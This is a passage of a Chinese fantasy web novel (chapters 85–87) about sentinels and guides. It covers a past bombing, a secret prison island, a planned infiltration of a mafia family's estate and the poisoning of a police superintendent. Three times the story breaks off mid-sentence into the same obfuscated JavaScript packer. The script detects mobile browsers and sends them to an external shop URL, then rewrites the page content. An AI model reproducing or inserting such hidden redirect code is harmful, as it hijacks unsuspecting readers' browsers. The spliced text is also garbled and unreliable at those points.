昏迷之前,尼尔森头一次感到了真正的‘无力’,他既没能控制自己计划的走向,也不知如何面对失控的将来。那长久的傲慢搭起的巴别塔终于崩塌,他开始向深渊无止境地坠落,唯有那渡鸦对着夜空发出的啼鸣还在他耳边回荡,既似人言,又似嘶鸣,正如爱伦坡的诗歌,一遍一遍吟唱着: “Nevermore…” 永不复还…… “Nevermore.” 永不复还。 这场爆炸案最后被定性为一场极端袭击,它导致半个向导之家陷入火海,数座建筑被彻底烧毁,那爆炸的声响惊醒了半个圣卢赛特的人,直到天亮,大火在晨曦中被扑灭。 舆论甚嚣尘上。三天后,官方公布,袭击者是来自瑟玛公国的某极端组织,除此之外,再无更多细节。而机密情报中则记载,与该组织合作的是一个曾经颇有声望,如今开始衰败的哨兵家族。 圣所的内鬼是该家族的继承人,本是位天赋异禀,被寄予厚望的年轻哨兵,精神动物是电鳗。塔暂未查明他为何叛国,他和接头的同伙当场自杀,精神图景在死前坍缩成了‘井’。如果没有弥斯.柯林斯的加护,在场的共感者都会被卷入其中。 同样的,他的家族在当晚也全都死在了家中,一家之主对着自己开了枪,其他人则死于他的‘井’。 塔和向导之家均被问责,内部权力结构短时间内多次洗牌,与内鬼来往密切的家族被移出权力中心,但同时,也有人提出弹劾首席。 没人知道那晚她也在现场,但他们认为,她推行向导之家,将向导们这种珍贵‘资源’聚集在一起,从一开始就是个错误的决定。如果向导之家连向导们都无法保护,那不如回归传统中由哨兵家族圈养向导的模式。 幸运的是,本次袭击的人员伤亡并不严重。在无人知晓的爆炸前夕,首席弥斯.柯林斯在发现炸弹后,利用认知误导控制所有人转移去了实战训练楼的地下训练室。 她对错觉的捏造炉火纯青,甚至维持到了逃生之后,因此向导之家的人们都认为,他们是在一次小范围爆炸后被迅速响应的‘塔’救出的,真正造成破坏的是所谓的二次爆炸,他们那时已经安全了。 这样的证言有力地反击了取消向导之家的呼声,议会和塔开了一轮又一轮的会,最终否决掉了这两个针对首席的议题。 提前进入向导之家的哨兵有一批被分配保护学生,另一批则阻击极端分子,都不在爆炸范围内。 最后牺牲的,是两个留在建筑内拆弹的年轻哨兵。 此事没有公开,也没有任何资料记载有他们的名字。渡鸦在冒着火光向这里飞来时就知道结局,他希望自己真的能像首席命令的那样把他们救出来。 圣卢赛特的向导之家迁移到了另一区域,并加强了安保和门禁。归化戴罪向导的计划悄无声息地停止实施,再也没有戴项圈的向导出现在向导之家里。至于曾经出现在其中的那几个年轻人,他们被转移到了别的地方。 尼尔森后来才知道,他的朋友们都活了下来。瞭望室这一侧的向导们因距离较远没受到爆炸的伤害,而负责拖住哨兵们的几人,均已提前被捕。彼时正值误导极端分子和转移人群的关键时刻,首席和渡鸦分出了精力来对付他们,因此才将尼尔森的事情交给近卫来解决。 但他们再也没有见过面。 因为监狱岛的犯人都是单独囚禁的。 那座岛离奥西恩王国很远,位于高纬度地区,与世隔绝,气候恶劣,严寒与风雪经年诅咒此地,漫长的极夜就像一场永远醒不来的噩梦。自从死刑在奥西恩王国废除后,罪行过重的囚犯就会被移送此地监管。 名义上,监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382584|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狱岛严格根据法律规定,尊重所有囚犯为人的基本权利,但苦役、刑讯逼供和非法人体研究在岛上早已进行多年,奥西恩只是需要一个消息不会泄露出去的地方来进行这一切而已。 至于那些被秘密定罪,不能在官方监狱留下记录的囚徒,这里更是他们唯一的归宿。 尼尔森和队友们就是这样的囚徒,连他们本人都不知道塔给他们的罪名。尼尔森很清楚,他们真正的罪过是将一场原本悄无声息的阴谋变成了无法掩盖的公共危机,更何况,他还知道这一切本可以被阻止。 这是绝对的禁区,即使有着及其珍贵的能力,塔也不会冒着风险再对他们宽容。尼尔森在被关押期间垂死挣扎地坦白,所有损失都是自己一人造成,其他人根本不知道,也根本没有那个本事破坏首席的计划,不应该和自己一样受罚。他不傻,他知道‘塔’听不进去,但这是他唯一能做的事情。 上帝啊,他一生为所欲为,这居然是他现在唯一能做的事情。 伪装成捕鱼船的船只像钢铁打造的棺椁那样将他们运送去了监狱岛,比起岛上白雪皑皑的山林,不断起伏的漆黑海面更像是某种嶙峋的山脊。在灯塔的光还无法照亮船只的时候,岛上‘绝望’的情绪就像一场不可名状的海雾一样将向导们捕获,他们感到指尖与神经都在结冰,分不清是身体还是精神在带来这彻骨的寒意。 漫长的折磨开始了。 尼尔森所经历过的,他的朋友们都经历过,尼尔森所承受过的,他的朋友们都承受着。虽然无法和他们见面,但尼尔森强大的共感力能够感应到他们的精神。这在起初是一个飘渺的安慰,就像一座远方的灯塔,但当他们的精神开始在苦役,实验与痛苦中侵染上‘绝望’的色彩时,它就变成了一个诅咒。 尼尔森.莱顿撑下来了,他没有像其他不够强的向导那样崩溃成废人——他不够强大的朋友们最终都在绝望中失去了为人的神智,通过实验浇铸进大脑的‘痛苦’摧毁了他们,他们的身体也许还一息尚存,但他们的人格已经死亡。 第一年,个子最小的那个青年失去了神经信号,第二年,会弹钢琴的男人和另两个向导没有了回音,第三年的年末,天鹅在纷纷大雪中迷失,薮猫随之离去。 星星就这样一颗一颗地熄灭在了漫长的极夜,岛上的第四年,尼尔森孤身一人。 夏令营的情谊就这样结束在无尽的寒冬,可尼尔森却被困在了那个夏日。他还没来得及挥别这段期间限定的友情,朋友就已经死去,彻底断绝了他抽身而去的可能。 不堪一击的蛛网成了锁链,活下来的尼尔森.莱顿将永远拖着它前行。 他永远失去了自由。即使离开了监狱岛,即使被放逐圣卢赛特,他也无法真正逃离灵魂中的枷锁。他靠着酒精和过劳麻痹自己,日夜在‘绝望’之中辗转,梦想自己总有一天能夺回自由的生活。 没关系,他想,我哪会这么轻易疯掉,却只是在麻木中催眠着自己度日。他靠惊险的肾上腺素使痛苦麻木,靠一次次惊醒挣脱如影随形的‘绝望’,潜意识里,他知道自己这么活着和死了没什么区别,总有一天,尼尔森.莱顿会真的死去。 但尼尔森.莱顿遇见了莱蒂斯.维克菲尔德。 她的世界里有漫天星辰,连极夜也为之璀璨。 现在,莱蒂斯.维克菲尔德在他的怀里,因他的陈述而短暂地沉默。这让尼尔森想起目睹向导之家爆炸的那一刻,时间无限延长,而他只能等待结局的到来。 该死的,这不是一个好的睡前故事。他不该说的,是他一时冲动。 莱蒂斯会怎么看待这件事呢?直接造成这一切的是来自瑟玛公国的敌人,但‘塔’和尼尔森一行人,也都不无辜。这只是一场为不同‘利益’而进行的博弈,死去的拆弹哨兵和死去的戴罪向导,都是博弈间的牺牲品。 尽管如此,他们的死亡依然令人哀叹。 也正因如此,莱蒂斯才会这么难过又愤怒吧。 在少女煎熬的情绪中,尼尔森勉强牵动嘴角,笑道:“所以你看,我确实罪有应得。” 你会因此离开我吗?尼尔森不敢去思考,他确实是不想她离开的,所以才将自己作为纯粹恶人的那部分经历一笔带过。可他也说不清,自己今晚究竟为何要将最不堪的记忆和盘托出。 他只是想利用她而已。 他依然是那个以自己为中心的混蛋,如果把别人逼疯或者杀死,他依然不会有半点内疚之心。也许曾经有人被他纳入了‘同伴’的范畴,但那最终毁了他,也毁了他们。现在尼尔森太累了,更加没有能力再去在乎除自己之外的人。 他患得患失,只是不想再失去‘自由‘的机会罢了…… 然而莱蒂斯身上没有逃避,也没有厌弃。一座高塔在她眼前倾塌,她没有逃跑,而是踏入了废墟。 她皱起眉,抓住他的衣领反驳道:“尼尔森,没有什么是应该的。这件事里,原本什么都不该发生。你们不该用刺杀去解决问题,首席也不该利用向导之家来清除叛徒,但那两个哨兵不应该死,你们也不应该在监狱岛里受到那些非人的对待……” “但是这一切已经发生了。”尼尔森感觉到了她身上共存的强硬与温柔。他应该顺着她的话说下去,以博取她的同情,但她在奎茵河畔心碎的模样历历在目,他忍不住道:“这样的事情,将来也还会发生。世界本来就是混沌的,你无法改变它,莱蒂斯。” 所以也别为此痛苦,莱蒂斯。 “……唔。”莱蒂斯垂下睫毛,陷入思考。在她宇宙猫猫期间,尼尔森通过精神共鸣传递过去一些温和的安抚,让少女像犬科动物一样下意识蹭了蹭他手掌。 他本想趁机放大她对自己的同情和温柔,好稳固自己在她心中那一席之地,结果下一秒,莱蒂斯的精神触须缠了回来,不仅没有退缩,反而更加坚定了。 “?”尼尔森身体下意识一僵。 “尼尔森,你告诉过我,我不能拯救所有人。你也告诉过我,能拯救一人,即是奇迹。我知道的,所以我也不会做改变世界的空想。”莱蒂斯抬眼,聚焦的瞳孔像是找到目标的狼,她认真,严肃,还带着一些单纯的热切。 明明是她被尼尔森揽在怀抱,尼尔森却莫名觉得是自己跳进了危险的深渊。他听见她说:“我没法改变这一切,那就从一个人开始吧。尼尔森,以后不许再做这些不应该的事情了,我会一直守着你的。” 莱蒂斯的耳边,尼尔森的心跳猛地乱了。他看起来很紧张,也许是因为那些不好的回忆。于是为了维持着他们的精神共鸣,莱蒂斯伸手回抱住男人,贴回他怀里。 她说:“睡吧,尼尔森。谢谢你愿意对我坦诚。”然后闭上了眼睛。 啊? 尼尔森的人傻了。他感觉身上很烫,不知道是被莱蒂斯的动作给贴的,还是被她猝不及防的宣言给吓的。 不对啊,她不是应该对我同情对我心软然后为我所用的吗?虽然确实把她哄住不会离开我了,所以是对的……对,对吗? 果然不对吧,怎么是以这种形式和她在一起的啊! 被黑暗哨兵管着可不是件好事,尼尔森还没有这种奉献身心的打算。可不知是精神共鸣还是别的什么,他感到自己终于在无止境的下坠里降落。 尼尔森.莱顿没有意识到,自己好不容易像以前一样使用了认知误导,却梦回监狱中最惨痛的经历,是因为他潜意识中清楚,自己那副以自我为中心的妄为姿态,就是毁掉他在乎之人的罪魁祸首。 这是他的惩罚,是永恒的警钟,他却还以为自己的困顿只是因为失去了为所欲为的能力。 跨不过这道关卡,他就永远不能真的重获‘自由’。 尼尔森在不久后明白了这个道理,但那个时候,他已经再次做出了‘错误’的决定。 这一次,是对莱蒂斯。 86. 第八十五章 “我从没在这个点起床过……”罗亚利怨念道。他闭着眼睛,只有半只脚踏出梦乡:“凌晨五点……天,连我的客人都舍不得这么早叫醒我。” “你以为我想起吗,我好不容易睡个好觉,哪知道黎塔诺这么早就来电话轰炸……”尼尔森在另一张床上躺尸,听起来有气无力,“你昨天胡搅蛮缠非得跟我们一起的那股劲呢?起不来就干脆别来了。” 他听起来像是在指责一个跟不上特种兵旅游节奏的队友,罗亚利晕乎乎地哼唧了一声:“哼……你也有资格怪我?要不是你半夜三更莫名其妙动来动去,我也不至于被吵醒那么多次。睡在莱蒂斯小姐旁边还这么不安分,我还以为今天醒来能看见你已经被扔进楼下垃圾桶了呢……” “哟,你听见了?不好意思小朋友,我是在和莱蒂斯进行哨兵向导之间重要的精神交流。要知道,你不可是唯一一个有故事要对她讲的人。” “真想出不来一个看起来有十年诈骗经验的大叔有什么好跟莱蒂斯小姐讲的呢……” “这话可是相当有失偏颇啊……谁说我只有诈骗经验了……?” “……” 尼尔森用困得不行的声音呛了回去,结果罗亚利那边直接没声了。哪怕不用向导的共感力,尼尔森也能感觉到他源源不断的困意,也不知道这小子是困得没力气说话还是一不小心又睡着了。 “唔……你们果然还没起啊。” 洗漱完毕的莱蒂斯推开浴室的门,看见两个裹得比木乃伊还严实的人依然躺得整齐,除了嘴之外哪里都没动过。还好听觉已经在她洗脸时就告诉了她这个事实,她于是很贴心地准备好两条毛巾,放在了他们额头上。 “嘶啊———” “……啊呀!” 下一秒,两人各自发出怪声,从床上弹射坐起。 “莱蒂斯小姐……?” 细皮嫩肉的罗亚利可怜兮兮地捂着冻得通红的额头,浸着冰水的毛巾掉到他的被子上,依然散发着不详的寒意。在没有暖气的冬天凌晨用冰毛巾直接糊脸约等于上刑,他看着莱蒂斯,胆战心惊地想,莱蒂斯小姐是这么残酷的人吗?难道是因为他赖床所以生气了? 但少女只是对他自豪又肯定地点点头,头顶似乎还冒出了一个推荐点赞的大拇指: “我家农场的冬天有时会遇上需要凌晨起床给小猪接生的情况……小时候我起不来,休伯特大叔就教我用这种办法提神,很有效的。” 她表情幅度不大,但带着真切的关心,仿佛她送上的不是冬天的刑具,而是一杯温暖的生姜茶。罗亚利对莱蒂斯提起的农场和休伯特大叔肃然起敬,又突然想起昨天Papa在她指尖下的惨状,瞳孔地震地看向尼尔森: 难道看起来很酷实际上非常可靠也非常温柔的莱蒂斯小姐,其实还有点天然鬼畜的吗? 旁边的尼尔森对莱蒂斯老家的地狱农场早习以为常,用“你才看出来吗?”的眼神看了罗亚利一眼,像提拎条死鱼一样把冰毛巾扔开,认命起床了。 “喏,这是黎塔诺发来的庄园地图。这地方在圣卢赛特近郊,是国家保护的历史建筑,建筑主体和其他区域都有图纸备案。不过卡佩家族要想私下改造,也没人管得着。” 冬天艰苦的起床开机后,三人再次以‘天堂’巴士上相同的位置凑在一起,研究同一部手机上的讯息。 屏幕上的图纸看起来应该是从古建筑保护协会的数据库里黑的,算得上是城堡的古老宅邸里,每一处房间都进行过测算和登记。 城堡外部,共计占地五百余亩的花园草场林场牧场甚至猎场都一应俱全,还有单独的酒庄与马场,成分相当复杂。 莱蒂斯看地图看得聚精会神,尼尔森在旁边打了个哈欠,身体向后一仰:“说实话,我觉得黎塔诺只是熬了一晚上,心理不平衡才把我们喊醒的。这情报只是保护协会的形式登记,压根靠不住,根本不值得牺牲睡眠时间。” “别躺下,尼尔森。我们还有很多事要做,时间并不宽裕。”莱蒂斯用精神触须强硬地戳了下尼尔森侧腰,把准备躺平的侦探又给戳得弹了回来,“黎塔诺先生在一晚之内搞定了我们混进庄园的身份,已经非常不容易了,我们不能辜负他带来的机会。” “唉……这有什么难的。”尼尔森龇牙咧嘴地捂着腰,心想这就是黑暗哨兵吗,昨晚上才学会用精神触须跟我说悄悄话呢今天就能用来使唤人了,“卡佩庄园有宴会,来往人员是平时好几倍,我都找不出比这更好潜入的机会。” “潜,潜入吗……”罗亚利捏住床单,感到紧张战胜了困倦,“你是说,我们要像电影里一样伪装成宴会的客人,然后去找那个萨塔斯.卡佩?” “哈哈,”尼尔森笑道,“完全不是。” “卡佩和黎塔诺的家族本来就不怎么熟,黎塔诺还在酒神节那件事里还给他们填过堵,压根不可能在这么短时间内搞来卡佩家宴会嘉宾的身份。” “电影就是用来骗你这样的小朋友的,罗亚利。一场宴会当天,进入庄园最多的外人本来也不是客人,而是聘请的工人和服务员。” “卡佩家这样的大庄园维护成本很高,有很多老贵族卖掉祖传的庄园就是因为无法负担这些开支。即使显赫如卡佩,很多设施也都是空置的,如果要使用,就必须临时打理,更别提还有宴会现场要布置,要布置就要请置景师,装卸工,园丁,厨子,场务人员……”尼尔森耸肩,“是打工人就认了打工人的命吧,这才是适合我们的身份,至少我们有的是工可以打。” “但我们很可能会被认出来。”莱蒂斯点开下一个压缩包,加载间隙,黑下去的手机屏幕映出她的脸,“卡佩家族经营的酒神节早就知道我们的长相,罗亚利也已经被他们视作目标……” 年轻的哨兵谨慎地思考着:“虽然他们派出的杀手被我们打败,不能及时向卡佩传递情报,但杀手没有回宅邸复命,本身就说明他没能成功暗杀。卡佩家族肯定会就此设防,要是萨塔斯.卡佩也认识我们的话,要接触到他就更难了……” “这个你大可放心,莱蒂斯,最不可能认识我们的就是萨塔斯.卡佩。”尼尔森倒是一点都不担心这个问题。莱蒂斯不解,于是他在莱蒂斯将信将疑点眼神中突然问道:“莱蒂斯,你一直在圣所,所以从来没上过班吧?” 小姑娘皱眉,不太服气:“我有在农忙时帮隔壁凯乐布家收麦子,他们会给我报酬。” “嗯,你果然没上过班。”尼尔森点头,“其实很简单,这么说吧,虽然卡佩家族是黑手党,但本质上也算是个家族企业。萨塔斯.卡佩这个首领,就是这家企业的老板。” “而全天下的老板都不会做的一件事,就是做实事。” “认识我们的不是卡佩,而是卡佩手下的酒神节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438194|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经理和保安队长,他们会被老板骂得狗血淋头,甚至被拉出去崩掉,所以会记得我们的相貌。至于卡佩老板本人,他才不会亲自过问闯进酒神节的究竟是哪两个人——他可是黑手党首领,想找他麻烦的也不止我们,如果每个人他都要亲自去提防,那他花那么多钱雇那么大群保镖干嘛?” “罗亚利也是一样的道理。手下跟他报告:''嘿老大,你要我们干掉的叫艾兰的小子还有个同居人'',那么他多半也只会把手一挥让手下把同居人也干掉,而不是要来照片仔仔细细记住罗亚利的脸——我们在一个黑手党的生活里不值一提,说到底,全场最能可能认识我们的,就是负责检查来往人员的保安,但这个黎塔诺和我会想办法的,安心啦,这种事我最熟了。” 罗亚利可不觉得尼尔森这话让人安心,而莱蒂斯作为一个具有强烈责任感的哨兵,从另一个角度提出质疑:“但万一萨塔斯.卡佩就是一个亲力亲为,称职认真的首领呢——” “嗡。” 压缩包解压完成,打断莱蒂斯的讨论。三人一齐低下头,看向弹出来的第一张图片。 “……” 几秒后,莱蒂斯抬起头来:“好吧,看来他不是。” 手机屏幕上是一个金发碧眼,高大英俊男人。他看起来没满三十,在赛马场的贵宾区一身休闲的浅色老钱风穿搭,正面朝镜头举着一杯香槟。那笑容自信风流,颇有种自己就是世界焦点的昂然自得,但自得有点过头,带了点浅薄。 这就是黎塔诺发来的雄狮哨兵萨塔斯.卡佩的资料。 无论是察言观色的罗亚利,还是直觉强大的莱蒂斯,都一眼看出,这个像美式校园剧橄榄球队长一样孔雀开屏的首领,确实像尼尔森说的那样,完全是一个会把问题扔给手下,自己潇洒的男人。 “萨塔斯.卡佩……这家伙就是艾兰的客人…”想起昨晚的胆战心惊,罗亚利有些自我怀疑地喃喃,“他看起来确实是会有恋○倾向的那种人,就是他派来了杀手还有高级警司吗……?” “啊……对了。”发生的事情太多,莱蒂斯也一时忘记了首当其冲的警司。她有些担心地提起:“唐娜小姐还没联系过我关于高级警司的事,也不知道她那边顺不顺利。” “啊……对了。”发生的事情太多,尼尔森也把警司的消息像半块没放冰箱的三明治一样忘记了。他把手机屏幕一滑,调出那条唐娜的短信,在莱蒂斯责怪的目光里笑道:“我忘了告诉你,那俩倒霉蛋早死了。” “多半是被上面灭口了吧,不是卡佩就是局长,也没什么重要的,别管啦。”侦探自信地摆摆手,把手机拿回来,“我们连杀手都审过了,难道那俩炮灰那边还能有什么我们不知道的情报吗?” “嗡。” 手机适时地振动了一下,往尼尔森脸上甩了一巴掌: 您好,有的。 侦探对它挑了下眉。 那是条来自布列塔尼的短信: “早安,希望这条短信吵醒了你,尼尔森^^。 把警司和女警灭口的是你们遇上的那个认知误导的向导米拉。 别打扰小莱蒂斯休息,等她醒了,再告诉她这个消息,记得提醒她多加小心。 也记得提醒自己,这次可不能再让她受伤了哦。对了,你知道非洲象可以撞翻重型卡车吗?如果人被撞飞了,会死得很彻底的哦。-v 87. 第八十六章 “啊——是的,死得很彻底哦。一点抢救的余地都没有呢,布列塔尼姐。” 昨夜,当莱蒂斯追着Papa离开密道,尼尔森带着罗亚利逃离办公室的时候,唐娜.舒芙特正在圣卢赛特警局西南片区某分局的拘留室里打电话。 拘留室里一片漆黑,只有唐娜的手机屏幕亮着光。她蹲在地上,检查着一条肥胖而无力的手臂。 酸浆大王鱿巨大的眼球如同一轮金色的圆月悬浮在旁边,借由它适应深海黑暗的视力,她看见手臂的皮肤呈现出了异常的殷红。 “我和小莱蒂斯通话时明明特地报了错误的分局,结果还是被找到了呢。” 那伸出铁栏杆的手臂属于圣卢赛特的高级警司。他还穿着唐娜给他套的那身女装,看起来非常滑稽。呕吐物、失禁和一片狼藉的室内描绘出他不久前痛苦挣扎的景象,他最终死于窒息。 “很明显的□□中毒死亡,见效这么快应该是口服,他们俩都是——”唐娜打了个哈欠,另一个隔间里,女警的尸体僵直,面容扭曲,“没想到凶手居然能在警局的拘留室里杀人,而且根本没有想伪装成意外死亡的意思。” “嗯……很有自信的家伙呢,”电话里传来布列塔尼平和的声音,“让我猜猜,凶手完全没留下任何可追查的线索?” “是啊,明明闹了很大动静——分局临时停电,监控全部失效,但毒杀没留痕迹,在做数据恢复的手机也不知道什么时候不见了。没有陌生人来过警局,我也没发现有谁进过拘留室,但黑暗降临了,幕布遮住了我们所有人的眼睛……” “停电的瞬间我就持枪警戒了。”唐娜叹气,摸了摸侧颈。即使经常半梦半醒,残留在脑海的眩晕还是让她难受:“我和我的精神动物共享黑暗视觉,我很确定当时的拘留室只有我们三人,但有一瞬间我突然感觉到脖子上有一阵刺痛,然后……然后我直到刚刚才从昏迷里醒过来——” “唐娜,你真的没事吗?要百分之百确定自己没事哦。不舒服的话不可以瞒着我,我会生气的。” 布列塔尼在通话过程中第一百次如此强调,比起警司的死活,她显然更在乎组员的健康。 “我被注射的不是毒药,应该只是普通的麻醉药吧。我不会撒谎的,毕竟布列塔尼姐生气起来超可怕的,会有陨石撞到月球上——”唐娜和自己的酸浆大王鱿对视一眼,“何况,那家伙应该是故意留我一命的吧?” “是谁动手的,我没什么头绪,毕竟我一直都不擅长侦查嘛……但是谁命令那块腐烂的棉花糖动手的,倒是很好猜——” “这个人要有权掌握所有警局的情况,能快速排除错误情报定位到我的位置,还能提供资源让人出入警局的供电点,使分局陷入停电状态……更重要的是,他明明有机会杀我,却让我活着。” 不擅长侦查的唐娜盯着尸体,神色有些飘忽,宏观上的思路却清晰明了,仿佛在月亮上俯瞰整个地球:“这次我对警司的逮捕缺乏实质性证据,严格来说是我违规执法。警司虽然最后是死于下毒,但也有我违法逮捕的原因呢……也就是说,在查不到凶手是谁的情况下,需要对一个高级警司和一个总部警员的死亡负责的人,其实是我……” “是我们,是我们共感者调查部需要对一个高级警司和一个总部警员的死亡负责。”布列塔尼温柔地纠正。她是不会把组员推出去的挡事的,唐娜知道,谋杀警司的人也知道,所以—— “所以留我一命,其实是为了对付你哦,布列塔尼姐。虽然你已经停职了,但局长那个老狐狸,应该是想趁此机会彻底把你扳倒吧。” “我还要感谢他让我停职呢,一直顶着部长头衔的话,我也不能像现在这样不受限制地行动呀。”布列塔尼听见唐娜提起奥夫局长,发出一声柔和的轻笑,像是烘培出了一盘满意的手作小饼干,“从我这边的调查结果来看,最终是谁扳倒谁,还不一定呢。” 而且…… “唐娜,”共感者调查部的部长眨眨眼,突然问道,“那个袭击你的腐烂棉花糖,是哪里坏掉了?” 唐娜认真思考了一下:“是里面。棉花糖虽然表面甜丝丝的,但里面都是腐坏的,恶心的霉菌,把所有糖分都分解成黑乎乎的脓水了” “这块棉花糖是什么口味的呢?” “嗯……应该是蜜桃吧?” “我明白了,那么趁分局的人还不知道发生了什么,先离开那里吧。”布列塔尼了然地微笑,“已经没必要继续守着那两个警司和女警了。注意安全,我们回见。” 挂断电话之前,共感者调查部的部长由衷地感叹:“亲爱的唐娜,你真是比世界上所有的哨兵都善于侦查。” 这并不是一句安慰。唐娜.舒芙特,这位向导常常神游出地球,因此很难完成对犯罪现场的细节调查,但与此同时,她又有着一种得天独厚的敏锐。 哨兵有着超出常人的五感,唐娜则拥有超出五感的直觉,那被称为第六感的知觉会将一些隐秘的信息投射在她眼中那个有月球,环形山,和彩虹瀑布的世界,概括成一个抽象的印象。 所以她从没见过莱蒂斯的精神图景,却知道少女被星辰环绕,她从未与前科累累的尼尔森交心,却知道男人困顿在牢笼之中,渴求又畏惧星光。她没发现有谁进入了拘留室,她没看见是谁对她下了手,但—— 就在她被袭击的那个瞬间,对方已经给她留下了‘印象’,留下了甜美的外表和腐坏的内心,以及蜜桃的味道。 恰巧,布列塔尼就认识一位善于隐藏自己踪迹,笑里藏刀的女孩。她能够引发认知误导,脸上有虚假而残忍的笑。她有一头显眼的粉色长发,甜蜜如同糖果和蜜桃。她的隐藏一向完美,只有产生‘交互’的瞬间,才会暴露行踪。 莱蒂斯说,她听见有人叫这女孩米拉。 太巧了,原来是一场老朋友之间的聚会呀。 布列塔尼微笑着将垂下的长发别在耳后,眼神却冷峻而深沉。 没想到她正在查的拉奥孔也牵扯进了一个孩子的死亡里。 带队抄家酒神节之后,她迅速整理好了所有证据。死去的白鸟仍然在照片里睁着湛蓝的双眼,布列塔尼一边准备好揭露赫夫迈家族的罪行,一边着手计划调查意外发现的‘拉奥孔’。 这是一个隔壁瑟玛公国倒闭很久的科技公司,在互联网广时代到来之前就已经注销。现在能找到的公开资料更像是一些都市传说,包括其曾在数十年前两国战争时期研发过以向导能力为基础的人体武器和暗中助长战争。 布列塔尼的权限查不到更多,她有些困扰。然后塔来了消息,要她将白鸟和伦兹.赫夫迈的证据上交,禁止向任何人透露。 命令直接来自于塔的顶端,那个奥西恩王国漫长历史中唯一的首席向导。布列塔尼不打算听从,但弥斯.柯林斯直接找上了她,带着一份拉奥孔的资料。 上了年纪的首席站姿依然是军人的笔直。她说:“你突然开始调查这个早就不存在的公司,是因为酒神节和伦滋.赫夫迈的事情也与拉奥孔有关,对吗?” 她的敏锐令人惊叹,布列塔尼礼貌地用曲奇迎接了老太太。 “您来找我,难道是想用拉奥孔的情报,交换我手中针对赫夫迈家族的证据吗?”彼时议员选举还在进行,布列塔尼端上红茶,也叫出了非洲象,心平气和得很有压迫感,“您阻止我公布酒神节的向导之旅和伦滋.赫夫迈害死白鸟的事情,是为了换哈瑞.赫夫迈先生在当选后不会削减塔的资金吧……哎呀,我只是没想到您会为了一桩政界平平无奇的小交易亲自来找我,首席女士。” “你可以这么认为。”柯林斯冷静地说,将文件袋递给布列塔尼,“我此次前来,正是与赫夫迈家族有关。” “为了替他求情吗?” “为了置他于死地。” 银发的老人如此回答,金色的光芒从她眼中闪过,在布列塔尼做出任何反应之前,首席弥斯.柯林斯的身影就这么消失在了她和非洲象眼前。 令布列塔尼本人都惊讶的是,在浏览完所有首席交与她的档案后,她决定听从首席的命令,暂时收起了酒神节与白鸟的资料。 这位经验丰富的部长确实考虑过一个问题:即使曝光了伦兹.赫夫迈的所作所为,断了哈瑞的仕途,赫夫迈家族也只是受了皮外伤。他们的商业帝国和影响力依然屹立不倒,如果有一天人们忘记了这件事,下一个道貌岸然的赫夫迈又会登上竞选的舞台——说不定就是那位伦滋.赫夫迈。 但首席的档案改变了这一切。 朝阳升起,照得布列塔尼的灰色眼眸里溢出血雾般的色彩: 如果她们最终向大众揭露出的真相,是哈瑞.赫夫迈与造成八年前圣卢赛特向导之家爆炸案的敌国极端分子‘拉奥孔’暗中合作,那他和他罪恶的家族,是否还能在叛国的罪名中继续荣华富贵呢? “嘟——” 数月后深冬的夜晚,布列塔尼在城市另一端挂断了和唐娜的电话。 她弯下腰去,扶着膝盖,亲切的样子像耐心和小朋友对话的幼师:“所以说,您最近卖出的那批基础维生溶液,到底卖给了谁呢?” “我他妈说过了,你听不进去吗婊子!道上有规矩,一律不过问买家的消息,老子他妈的不知道!不知道!!” 一个被死死绑在椅子上的壮汉大喊道,强装嚣张地喊道。 这里是一家纹身店,也是黑市中一家有名的万事屋。告诉老板想要的东西,老板就会想尽办法帮你弄到,包括市面上相当罕见的基础维生溶液。 柯林斯带给布列塔尼的档案中,记载了拉奥孔位于约克镇的人体实验室。在某个杀手将它攻破后,塔的特工在里面找到了实验遗留的设备之一,就是休眠维生仓。 它是一套体外维生系统,虽然做不到起死回生,但能够使重伤的人保持基本的生命体征。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438195|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为人体的代谢还在循环,所以仓内的维生溶液需要定时更换。 在约克实验室的维生仓里,特工们发现了一个浸泡在溶液中的向导。因为常年没有活动,他的肌肉已经萎缩干枯,但据称特工们赶到时,他的眼球仍然有反应。 这个向导需要维生系统的原因显而易见——他的颅骨被打开,粉红的柔软的大脑上插满了接线,穿出维生仓上改造的孔洞,连接在实验室的其他设备。有员工在死于杀手之前断掉了维生仓的电力,他没过多久就死了。 这是一个重要的线索。拉奥孔使用的维生溶液里含有某些特殊成分,‘塔’一直没有成功解析,但能够确定的是,拉奥孔用来作为基底的基础维生溶液,和市面上流通的完全相同。 掌握这项技术的生物科技公司不多,塔希望通过维生溶液找到其他仍在运作的拉奥孔实验室,但经多方追查,也只查到那些公司内部偶尔会供货给黑市。 黑市情况错综复杂,货物通常几经转手,塔很难定位到基础维生溶液的供给了哪些商人。 